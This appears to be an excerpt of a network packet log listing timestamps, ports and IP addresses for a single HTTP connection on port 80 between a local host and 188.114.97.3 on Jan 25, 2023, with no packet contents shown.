Jan 25, 2023 09:42:41.539617062 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.539813995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539835930 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539884090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539913893 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.539930105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539978027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539990902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.540024042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540071964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540090084 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.540121078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540182114 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540199041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540199041 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.540251017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540263891 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.540301085 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540348053 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540361881 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.540395975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540461063 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.540715933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540807009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540853977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540864944 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.540904045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540930986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.540956974 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.540977001 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541037083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541085005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541088104 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.541132927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541183949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541184902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.541210890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541235924 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.541261911 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541321039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541366100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541374922 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.541414022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541467905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.541712999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541759968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541764975 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.541807890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541857004 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.541862965 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541883945 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541933060 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.541934967 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.541977882 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542025089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542077065 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.542083025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542140961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542186975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542191029 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.542232990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542244911 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.542351007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542404890 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.542455912 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542500019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542545080 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542553902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.542608976 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542654991 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542706966 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.542769909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542912006 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.542968988 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543065071 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543111086 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543127060 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543159962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543190002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543215990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543236971 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543273926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543279886 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543294907 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543342113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543389082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543399096 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543435097 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543481112 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543495893 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543529034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543589115 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543593884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543652058 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543715954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543806076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543903112 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543924093 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.543945074 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543968916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.543994904 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544033051 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544042110 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544066906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544089079 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544090033 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544116020 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544116974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544140100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544164896 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544183969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544190884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544214010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544239998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544255018 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544264078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544269085 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544287920 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544312954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544326067 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544338942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544363022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544377089 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544387102 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544404984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544410944 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544435024 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544461966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544470072 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544477940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544503927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544518948 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544540882 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544578075 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544584036 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544611931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544647932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544655085 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544713020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544727087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544728041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544755936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544774055 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544806957 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544843912 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544868946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544899940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544909000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544925928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544925928 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544925928 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544950962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.544965029 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.544987917 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545000076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545007944 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545010090 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545032978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545052052 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545058012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545077085 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545082092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545099020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545116901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545134068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545150995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545182943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545191050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545214891 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545228958 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545241117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545264959 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545273066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545289993 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545298100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545321941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545346022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545368910 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545378923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545399904 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545403004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545427084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545463085 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545473099 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545505047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545556068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545594931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545598984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545598984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545634985 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545686007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545696020 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545710087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545736074 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545758963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545758963 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545809031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545835972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545861006 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545861006 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545886993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545893908 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545912027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545937061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545939922 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545962095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545974016 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.545986891 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.545999050 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546020031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546027899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546042919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546052933 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546066999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546067953 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546078920 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546102047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546113014 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546116114 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546119928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546144962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546159029 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546169043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546186924 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546195984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546220064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546231985 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546246052 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546257019 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546269894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546272039 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546292067 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546300888 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546308994 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546320915 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546327114 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546350002 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546351910 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546365976 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546386957 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546391010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546402931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546410084 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546413898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546433926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546442032 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546463966 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546473026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546506882 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546513081 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546535969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546547890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546556950 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546581984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546597004 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546618938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546627998 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546662092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546664000 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546700001 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546705961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546750069 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546752930 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546777964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546797991 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546802998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546828985 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546835899 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546849966 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546854019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546880007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546889067 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546905041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546911001 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546922922 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546930075 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546948910 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546957970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546972990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.546973944 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.546986103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547009945 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547010899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547032118 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547035933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547060013 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547060966 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547085047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547097921 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547111988 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547120094 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547132015 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547139883 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547158957 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547168016 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547182083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547207117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547216892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547234058 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547241926 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547266960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547269106 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547290087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547291040 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547312975 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547314882 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547337055 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547348976 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547360897 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547389030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547416925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547435045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547468901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547482014 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547493935 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547519922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547544956 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547544956 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547566891 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547569990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547594070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547595978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547615051 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547621012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547646046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547667027 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547672033 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547691107 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547702074 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547710896 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547720909 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547735929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547745943 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547766924 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547772884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547780991 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.547784090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547796011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547806978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.547821045 CET	80	49728	188.114.97.3	192.168.2.3
